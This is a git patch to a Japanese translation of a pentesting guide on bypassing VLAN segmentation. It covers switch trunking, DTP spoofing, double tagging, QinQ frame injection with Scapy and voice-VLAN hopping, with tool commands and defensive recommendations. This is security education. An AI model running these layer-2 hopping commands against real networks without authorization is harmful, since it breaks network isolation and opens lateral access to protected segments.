From 81522cb4d3158ab6f4dfd41db21b623792bdf945 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 12:39:57 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../lateral-vlan-segmentation-bypass.md | 101 ++++++++++++------ 1 file changed, 71 insertions(+), 30 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 912fb5fe7..91d1bb0c2 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -10,11 +10,11 @@ ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` -トランクモードに切り替える前に、既存のVLANのリストを作成し、それらの識別子を特定する必要があります。これらの識別子はインターフェースに割り当てられ、トランクを介してさまざまなVLANにアクセスできるようになります。使用中のポートは、例えばVLAN 10に関連付けられています。 +トランクモードに切り替える前に、既存のVLANのリストを作成し、それらの識別子を特定する必要があります。これらの識別子はインターフェースに割り当てられ、トランクを介してさまざまなVLANにアクセスできるようになります。使用中のポートは、例えば、VLAN 10に関連付けられています。 ``` SW1# show vlan brief ``` -**トランクモードへの移行はインターフェイス設定モードに入ることを伴います**: +**トランクモードに移行するには、インターフェイス設定モードに入る必要があります**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q @@ -24,6 +24,7 @@ SW1(config-if)# switchport mode trunk 次に、仮想インターフェースが作成され、VLAN IDが割り当てられ、アクティブ化されます: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,51 +33,67 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` その後、DHCPを介してアドレスリクエストが行われます。あるいは、DHCPが利用できない場合には、アドレスを手動で設定することもできます: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` -インターフェースに静的IPアドレスを手動で設定する例(VLAN 10): +インターフェース(VLAN 10)で静的IPアドレスを手動で設定する例: ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` -接続性は、VLAN 10、20、50、および60のデフォルトゲートウェイにICMPリクエストを送信することでテストされます。 +接続性は、VLAN 10、20、50、および 60 のデフォルトゲートウェイに対して ICMP リクエストを開始することでテストされます。 -最終的に、このプロセスはVLANセグメンテーションのバイパスを可能にし、任意のVLANネットワークへの制限のないアクセスを促進し、その後のアクションのための基盤を整えます。 +最終的に、このプロセスは VLAN セグメンテーションのバイパスを可能にし、任意の VLAN ネットワークへの制限のないアクセスを促進し、その後のアクションのための舞台を整えます。 --- -## その他のVLANホッピング技術(特権スイッチCLIなし) +## その他の VLAN ホッピング技術 (特権スイッチ CLI なし) -前の方法は、スイッチへの認証されたコンソールまたはTelnet/SSHアクセスを前提としています。実際のエンゲージメントでは、攻撃者は通常**通常のアクセスポート**に接続されています。以下のLayer-2トリックは、スイッチOSにログインすることなく横方向にピボットすることを可能にします: +前の方法は、スイッチへの認証されたコンソールまたは Telnet/SSH アクセスを前提としています。実際のエンゲージメントでは、攻撃者は通常 **通常のアクセスポート** に接続されています。以下の Layer-2 トリックは、スイッチ OS にログインすることなく横方向にピボットすることを可能にします。 -### 1. ダイナミックトランクプロトコル(DTP)を使用したスイッチスプーフィング +### 1. ダイナミック トランク プロトコル (DTP) を使用したスイッチ スプーフィング -DTPを有効にしているCiscoスイッチは、ピアがスイッチであると主張する場合、喜んでトランクを交渉します。単一の**DTP “desirable”**または**“trunk”**フレームを作成することで、アクセスポートが*すべての*許可されたVLANを運ぶ802.1Qトランクに変換されます。 +DTP を有効にしている Cisco スイッチは、ピアがスイッチであると主張する場合、喜んでトランクを交渉します。単一の **DTP “desirable”** または **“trunk”** フレームを作成することで、アクセスポートが *すべての* 許可された VLAN を運ぶ 802.1Q トランクに変換されます。 -*Yersinia*やいくつかのPoCは、このプロセスを自動化します: +*Yersinia* およびいくつかの PoC は、このプロセスを自動化します: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -ポートがトランクに切り替わると、802.1Qサブインターフェースを作成し、前のセクションで示した通りにピボットできます。最新のLinuxカーネルでは* vconfig *はもはや必要なく、代わりに* ip link *を使用します: +リコンヘルパー(ポートのDTP状態をパッシブにフィンガープリンティングする): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up -``` -### 2. ダブルタグ付け (ネイティブVLANの悪用) -攻撃者が**ネイティブ (未タグ付け) VLAN**にいる場合、*2つ*の802.1Qヘッダーを持つ加工されたフレームは、ポートがアクセスポートモードにロックされていても、第二のVLANに「ホップ」することができます。 **VLANPWN DoubleTagging.py** (2022-2024リフレッシュ)のようなツールは、注入を自動化します: +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 +``` +ポートがトランクに切り替わると、802.1Qサブインターフェースを作成し、前のセクションに示された通りにピボットできます。 + +### 2. ダブルタグ付け(ネイティブVLANの悪用) + +攻撃者が**ネイティブ(未タグ付け)VLAN**にいる場合、*2つの* 802.1Qヘッダーを持つ巧妙に作成されたフレームは、ポートがアクセスポートモードにロックされていても、2番目のVLANにホップすることができます。 **VLANPWN DoubleTagging.py**(2022-2025リフレッシュ)などのツールは、注入を自動化します: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -パケットの通過: -1. 外部タグ (1) は、ネイティブ VLAN に一致するため、最初のスイッチによって削除されます。 -2. 内部タグ (20) が露出し、フレームは VLAN 20 に向けてトランクに転送されます。 - -この技術は、ネイティブ VLAN をデフォルトのままにし、タグなしフレームを受け入れるネットワークで2025年にも機能します。 - ### 3. QinQ (802.1ad) スタッキング -多くのエンタープライズコアは *Q-in-Q* サービスプロバイダーのカプセル化をサポートしています。 許可されている場合、攻撃者はプロバイダー (S-tag) 内に任意の 802.1Q タグ付きトラフィックをトンネリングしてセキュリティゾーンを越えることができます。 802.1ad ethertype 0x88a8 をキャプチャし、Scapy を使用して外部タグをポップしようとします: +多くのエンタープライズコアは*Q-in-Q*サービスプロバイダーエンキャプスulationをサポートしています。許可されている場合、攻撃者は任意の802.1Qタグ付きトラフィックをプロバイダー(Sタグ)内にトンネルしてセキュリティゾーンを越えることができます。ethertype `0x88a8`をキャプチャし、Scapyを使用して外側のタグをポップしようとします: ```python from scapy.all import * outer = 100 # Service tag @@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing) + +企業のアクセスポートは、ワークステーション用のタグなしデータVLANと、CDPまたはLLDP-MEDを通じて広告されるタグ付き音声VLANの*「アクセス + 音声」*構成にあることがよくあります。 攻撃者はIP電話を偽装することで、DTPが無効になっていてもVoIP VLANを自動的に発見し、飛び込むことができます。 + +*VoIP Hopper*(Kali 2025.2にパッケージされています)は、CDP、DHCPオプション**176/242**、および完全なLLDP-MEDスプーフィングをサポートしています: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +この技術はデータ/音声の分離をバイパスし、2025年の企業エッジスイッチで非常に一般的です。多くのモデルでLLDP自動ポリシーがデフォルトで有効になっています。 + --- ## 防御的推奨事項 -1. すべてのユーザー向けポートでDTPを無効にする: `switchport mode access` + `switchport nonegotiate`。 -2. すべてのトランクでネイティブVLANを**未使用のブラックホールVLAN**に変更し、タグ付けする: `vlan dot1q tag native`。 +1. すべてのユーザーフェイシングポートでDTPを無効にする: `switchport mode access` + `switchport nonegotiate`。 +2. すべてのトランクのネイティブVLANを**未使用のブラックホールVLAN**に変更し、タグ付けする: `vlan dot1q tag native`。 3. トランク上の不要なVLANをプルーニングする: `switchport trunk allowed vlan 10,20`。 -4. 不正なLayer-2アクティビティを制限するためにポートセキュリティ、DHCPスヌーピング、動的ARP検査を強制する。 -5. 802.1Qの分離に依存するのではなく、プライベートVLANまたはL3セグメンテーションを優先する。 +4. ポートセキュリティ、DHCPスヌーピング、動的ARP検査**および802.1X**を強制して、不正なLayer-2アクティビティを制限する。 +5. IP電話のスプーフィングが必要ない場合は、LLDP-MED自動音声ポリシーを無効にする(または認証されたMAC OUIにロックする)。 +6. 802.1Qの分離にのみ依存するのではなく、プライベートVLANまたはL3セグメンテーションを優先する。 + +--- + +## 実世界のベンダー脆弱性 (2022-2024) + +完全にハードニングされたスイッチ構成でも、ファームウェアのバグによって損なわれる可能性があります。最近の例には以下が含まれます: + +* **CVE-2022-20728† – Cisco Aironet/Catalystアクセスポイント**は、ネイティブVLANから非ネイティブWLAN VLANへの注入を許可し、有線/無線のセグメンテーションをバイパスします。 +* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)**は、Resilient Ethernet Protocolを切り替えた後にSVIでACLバイパスを許可し、VRF/VLAN間のトラフィックを漏洩させます。パッチ17.9.5以降。 + +常にベンダーのアドバイザリーを監視し、VLAN関連のバイパス/ACLの問題に注意し、インフラストラクチャのイメージを最新の状態に保ってください。 --- @@ -119,5 +158,7 @@ sendp(frame, iface="eth0") - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - VLANPWN攻撃ツールキット – - Twingate "VLANホッピングとは?" (2024年8月) – +- VoIP Hopperプロジェクト – +- Ciscoアドバイザリー “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}